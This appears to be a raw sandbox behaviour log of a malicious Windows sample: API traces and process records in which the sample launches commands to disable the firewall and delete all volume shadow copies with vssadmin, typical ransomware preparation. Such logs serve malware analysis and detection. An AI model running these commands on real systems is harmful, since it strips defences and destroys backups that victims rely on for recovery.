_wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0135.350] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0135.350] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0135.350] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0135.350] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0135.350] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0135.350] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0135.350] GetProcessHeap () returned 0x1515c080000 [0135.350] RtlFreeHeap (HeapHandle=0x1515c080000, Flags=0x0, BaseAddress=0x1515c099330) returned 1 [0135.350] GetProcessHeap () returned 0x1515c080000 [0135.350] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0x12) returned 0x1515c099330 [0135.350] _get_osfhandle (_FileHandle=1) returned 0x274 [0135.350] SetConsoleMode (hConsoleHandle=0x274, dwMode=0x0) returned 0 [0135.350] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.350] SetConsoleMode (hConsoleHandle=0x264, dwMode=0x0) returned 0 [0135.350] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\netsh.exe", lpCommandLine="netsh firewall set opmode mode=disable", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0xa08f0eda0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="netsh firewall set opmode mode=disable", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xa08f0ed78 | out: lpCommandLine="netsh firewall set opmode mode=disable", lpProcessInformation=0xa08f0ed78*(hProcess=0x94, hThread=0x98, dwProcessId=0x49c, dwThreadId=0x458)) returned 1 [0135.357] CloseHandle (hObject=0x98) returned 1 [0135.357] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0135.358] GetProcessHeap () returned 0x1515c080000 [0135.358] RtlFreeHeap (HeapHandle=0x1515c080000, Flags=0x0, BaseAddress=0x1515c09b5e0) returned 1 [0135.358] GetEnvironmentStringsW () returned 0x1515c085930* [0135.358] GetProcessHeap () returned 0x1515c080000 [0135.358] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0xaea) returned 0x1515c09aae0 [0135.358] FreeEnvironmentStringsA (penv="=") returned 1 [0135.358] NtQueryInformationProcess (in: ProcessHandle=0x94, ProcessInformationClass=0x0, ProcessInformation=0xa08f0e278, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xa08f0e278, ReturnLength=0x0) returned 0x0 [0135.358] ReadProcessMemory (in: hProcess=0x94, lpBaseAddress=0xf524c7d000, lpBuffer=0xa08f0e2b0, nSize=0x7a0, lpNumberOfBytesRead=0xa08f0e270 | out: lpBuffer=0xa08f0e2b0*, lpNumberOfBytesRead=0xa08f0e270*=0x7a0) returned 1 [0135.358] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) Thread: id = 198 os_tid = 0xf98 Process: id = "18" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x7b421000" os_pid = "0xf60" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "16" os_parent_pid = "0xf50" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010a28" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 187 os_tid = 0xf64 Thread: id = 189 os_tid = 0xf70 Thread: id = 192 os_tid = 0xf7c Thread: id = 193 os_tid = 0xf80 Thread: id = 195 os_tid = 0xf88 Process: id = "19" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x46671000" os_pid = "0xf68" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0xf58" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010a28" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 188 os_tid = 0xf6c Thread: id = 190 os_tid = 0xf74 Thread: id = 191 os_tid = 0xf78 Thread: id = 194 os_tid = 0xf84 Thread: id = 196 os_tid = 0xf8c Process: id = "20" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x49125000" os_pid = "0xf9c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "16" os_parent_pid = "0xf50" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010a28" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 199 os_tid = 0xfa0 Thread: id = 200 os_tid = 0xfa4 Thread: id = 203 os_tid = 0xfb4 Thread: id = 204 os_tid = 0xfb8 Thread: id = 205 os_tid = 0xfbc Process: id = "21" image_name = "netsh.exe" filename = "c:\\windows\\system32\\netsh.exe" page_root = "0x1be26000" os_pid = "0xfa8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0xf58" cmd_line = "netsh advfirewall set currentprofile state off" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010a28" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 201 os_tid = 0xfac [0128.058] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6f9ab0000 [0128.058] __set_app_type (_Type=0x1) [0128.059] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6f9aba1c0) returned 0x0 [0128.059] __wgetmainargs (in: _Argc=0x7ff6f9ac7668, _Argv=0x7ff6f9ac7670, _Env=0x7ff6f9ac7678, _DoWildCard=0, _StartInfo=0x7ff6f9ac7684 | out: _Argc=0x7ff6f9ac7668, _Argv=0x7ff6f9ac7670, _Env=0x7ff6f9ac7678) returned 0 [0128.059] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0128.059] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6f9ab0000 [0128.059] _vsnwprintf (in: _Buffer=0x7ff6f9ac9b00, _BufferCount=0x1fff, _Format="%s>", _ArgList=0x14708f7978 | out: _Buffer="netsh>") returned 6 [0128.059] GetProcessHeap () returned 0x11aa58a0000 [0128.059] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aed20 [0128.059] GetProcessHeap () returned 0x11aa58a0000 [0128.060] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aed00 [0128.060] GetProcessHeap () returned 0x11aa58a0000 [0128.060] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aeec0 [0128.060] GetProcessHeap () returned 0x11aa58a0000 [0128.060] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aeba0 [0128.060] GetProcessHeap () returned 0x11aa58a0000 [0128.060] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aeb80 [0128.060] GetProcessHeap () returned 0x11aa58a0000 [0128.060] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aeaa0 [0128.060] GetProcessHeap () returned 0x11aa58a0000 [0128.060] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58ae9a0 [0128.060] GetProcessHeap () returned 0x11aa58a0000 [0128.060] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58ae940 [0128.060] GetProcessHeap () returned 0x11aa58a0000 [0128.060] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aed40 [0128.060] GetProcessHeap () returned 0x11aa58a0000 [0128.060] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aeee0 [0128.060] GetProcessHeap () returned 0x11aa58a0000 [0128.060] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aeb00 [0128.060] GetProcessHeap () returned 0x11aa58a0000 [0128.060] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aeb20 [0128.060] GetProcessHeap () returned 0x11aa58a0000 [0128.060] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58af000 [0128.060] GetProcessHeap () returned 0x11aa58a0000 [0128.060] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aea20 [0128.060] GetProcessHeap () returned 0x11aa58a0000 [0128.060] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aec80 [0128.060] GetProcessHeap () returned 0x11aa58a0000 [0128.060] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aeea0 [0128.060] GetProcessHeap () returned 0x11aa58a0000 [0128.060] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aea40 [0128.060] GetProcessHeap () returned 0x11aa58a0000 [0128.060] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aef00 [0128.060] GetProcessHeap () returned 0x11aa58a0000 [0128.060] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aef80 [0128.060] GetProcessHeap () returned 0x11aa58a0000 [0128.060] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aed60 [0128.060] GetProcessHeap () returned 0x11aa58a0000 [0128.060] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aef20 [0128.060] GetProcessHeap () returned 0x11aa58a0000 [0128.060] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aee80 [0128.060] GetProcessHeap () returned 0x11aa58a0000 [0128.060] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aeae0 [0128.060] GetProcessHeap () returned 0x11aa58a0000 [0128.060] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aecc0 [0128.060] GetProcessHeap () returned 0x11aa58a0000 [0128.060] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aeb60 [0128.060] GetProcessHeap () returned 0x11aa58a0000 [0128.060] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aeac0 [0128.060] GetProcessHeap () returned 0x11aa58a0000 [0128.060] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58ae980 [0128.061] GetProcessHeap () returned 0x11aa58a0000 [0128.061] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58af020 [0128.061] GetProcessHeap () returned 0x11aa58a0000 [0128.061] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aebc0 [0128.061] GetProcessHeap () returned 0x11aa58a0000 [0128.061] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58ae8a0 [0128.061] GetProcessHeap () returned 0x11aa58a0000 [0128.061] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aece0 [0128.061] GetProcessHeap () returned 0x11aa58a0000 [0128.061] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58ae960 [0128.061] GetProcessHeap () returned 0x11aa58a0000 [0128.061] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aed80 [0128.061] GetProcessHeap () returned 0x11aa58a0000 [0128.061] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58ae9c0 [0128.061] GetProcessHeap () returned 0x11aa58a0000 [0128.061] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58ae900 [0128.061] GetProcessHeap () returned 0x11aa58a0000 [0128.061] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aeda0 [0128.061] GetProcessHeap () returned 0x11aa58a0000 [0128.061] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aeb40 [0128.061] GetProcessHeap () returned 0x11aa58a0000 [0128.061] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aebe0 [0128.061] GetProcessHeap () returned 0x11aa58a0000 [0128.061] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aef40 [0128.061] GetProcessHeap () returned 0x11aa58a0000 [0128.061] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aeca0 [0128.061] GetProcessHeap () returned 0x11aa58a0000 [0128.061] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58ae9e0 [0128.061] GetProcessHeap () returned 0x11aa58a0000 [0128.061] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aea00 [0128.061] GetProcessHeap () returned 0x11aa58a0000 [0128.061] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aea60 [0128.061] GetProcessHeap () returned 0x11aa58a0000 [0128.061] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aedc0 [0128.061] GetProcessHeap () returned 0x11aa58a0000 [0128.061] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aede0 [0128.061] GetProcessHeap () returned 0x11aa58a0000 [0128.061] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aec00 [0128.061] GetProcessHeap () returned 0x11aa58a0000 [0128.061] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aef60 [0128.061] GetProcessHeap () returned 0x11aa58a0000 [0128.061] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aee00 [0128.061] GetProcessHeap () returned 0x11aa58a0000 [0128.061] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aee20 [0128.061] GetProcessHeap () returned 0x11aa58a0000 [0128.061] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aefa0 [0128.061] GetProcessHeap () returned 0x11aa58a0000 [0128.061] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aee40 [0128.061] GetProcessHeap () returned 0x11aa58a0000 [0128.061] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aee60 [0128.061] GetProcessHeap () returned 0x11aa58a0000 [0128.062] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aea80 [0128.062] GetProcessHeap () returned 0x11aa58a0000 [0128.062] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aec20 [0128.062] GetProcessHeap () returned 0x11aa58a0000 [0128.062] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aefc0 [0128.062] GetProcessHeap () returned 0x11aa58a0000 [0128.062] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aec40 [0128.062] GetProcessHeap () returned 0x11aa58a0000 [0128.062] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aec60 [0128.062] GetProcessHeap () returned 0x11aa58a0000 [0128.062] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aefe0 [0128.062] GetProcessHeap () returned 0x11aa58a0000 [0128.062] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58ae8c0 [0128.062] GetProcessHeap () returned 0x11aa58a0000 [0128.062] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58ae920 [0128.062] GetProcessHeap () returned 0x11aa58a0000 [0128.062] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58ae8e0 [0128.062] GetProcessHeap () returned 0x11aa58a0000 [0128.062] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0180 [0128.062] GetProcessHeap () returned 0x11aa58a0000 [0128.062] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58afe00 [0128.062] GetProcessHeap () returned 0x11aa58a0000 [0128.062] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b01e0 [0128.062] GetProcessHeap () returned 0x11aa58a0000 [0128.062] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0200 [0128.062] GetProcessHeap () returned 0x11aa58a0000 [0128.062] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b01c0 [0128.062] GetProcessHeap () returned 0x11aa58a0000 [0128.062] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0240 [0128.062] GetProcessHeap () returned 0x11aa58a0000 [0128.062] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0220 [0128.062] GetProcessHeap () returned 0x11aa58a0000 [0128.062] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0480 [0128.062] GetProcessHeap () returned 0x11aa58a0000 [0128.062] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0260 [0128.062] GetProcessHeap () returned 0x11aa58a0000 [0128.062] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b02c0 [0128.062] GetProcessHeap () returned 0x11aa58a0000 [0128.062] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aff60 [0128.062] GetProcessHeap () returned 0x11aa58a0000 [0128.062] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0120 [0128.062] GetProcessHeap () returned 0x11aa58a0000 [0128.062] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0020 [0128.062] GetProcessHeap () returned 0x11aa58a0000 [0128.062] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b03c0 [0128.062] GetProcessHeap () returned 0x11aa58a0000 [0128.062] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b02e0 [0128.062] GetProcessHeap () returned 0x11aa58a0000 [0128.062] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b04a0 [0128.062] GetProcessHeap () returned 0x11aa58a0000 [0128.062] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0300 [0128.063] GetProcessHeap () returned 0x11aa58a0000 [0128.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58afdc0 [0128.063] GetProcessHeap () returned 0x11aa58a0000 [0128.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0040 [0128.063] GetProcessHeap () returned 0x11aa58a0000 [0128.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b03e0 [0128.063] GetProcessHeap () returned 0x11aa58a0000 [0128.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0320 [0128.063] GetProcessHeap () returned 0x11aa58a0000 [0128.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0280 [0128.063] GetProcessHeap () returned 0x11aa58a0000 [0128.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0360 [0128.063] GetProcessHeap () returned 0x11aa58a0000 [0128.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58afd20 [0128.063] GetProcessHeap () returned 0x11aa58a0000 [0128.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0400 [0128.063] GetProcessHeap () returned 0x11aa58a0000 [0128.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58afd80 [0128.063] GetProcessHeap () returned 0x11aa58a0000 [0128.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58afe20 [0128.063] GetProcessHeap () returned 0x11aa58a0000 [0128.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aff40 [0128.063] GetProcessHeap () returned 0x11aa58a0000 [0128.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0340 [0128.063] GetProcessHeap () returned 0x11aa58a0000 [0128.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58afe40 [0128.063] GetProcessHeap () returned 0x11aa58a0000 [0128.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58afe60 [0128.063] GetProcessHeap () returned 0x11aa58a0000 [0128.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58afea0 [0128.063] GetProcessHeap () returned 0x11aa58a0000 [0128.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b00e0 [0128.063] GetProcessHeap () returned 0x11aa58a0000 [0128.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b02a0 [0128.063] GetProcessHeap () returned 0x11aa58a0000 [0128.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58afe80 [0128.063] GetProcessHeap () returned 0x11aa58a0000 [0128.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58afec0 [0128.063] GetProcessHeap () returned 0x11aa58a0000 [0128.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0420 [0128.063] GetProcessHeap () returned 0x11aa58a0000 [0128.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0380 [0128.063] GetProcessHeap () returned 0x11aa58a0000 [0128.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b00c0 [0128.063] GetProcessHeap () returned 0x11aa58a0000 [0128.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b01a0 [0128.063] GetProcessHeap () returned 0x11aa58a0000 [0128.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aff80 [0128.063] GetProcessHeap () returned 0x11aa58a0000 [0128.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58affc0 [0128.063] GetProcessHeap () returned 0x11aa58a0000 [0128.064] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b03a0 [0128.064] GetProcessHeap () returned 0x11aa58a0000 [0128.064] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0440 [0128.064] GetProcessHeap () returned 0x11aa58a0000 [0128.064] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0460 [0128.064] GetProcessHeap () returned 0x11aa58a0000 [0128.064] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58afd40 [0128.064] GetProcessHeap () returned 0x11aa58a0000 [0128.064] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58afd60 [0128.064] GetProcessHeap () returned 0x11aa58a0000 [0128.064] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58afda0 [0128.064] GetProcessHeap () returned 0x11aa58a0000 [0128.064] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58afde0 [0128.064] GetProcessHeap () returned 0x11aa58a0000 [0128.064] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58aff20 [0128.064] GetProcessHeap () returned 0x11aa58a0000 [0128.064] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0160 [0128.064] GetProcessHeap () returned 0x11aa58a0000 [0128.064] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0100 [0128.064] GetProcessHeap () returned 0x11aa58a0000 [0128.064] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58afee0 [0128.064] GetProcessHeap () returned 0x11aa58a0000 [0128.064] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 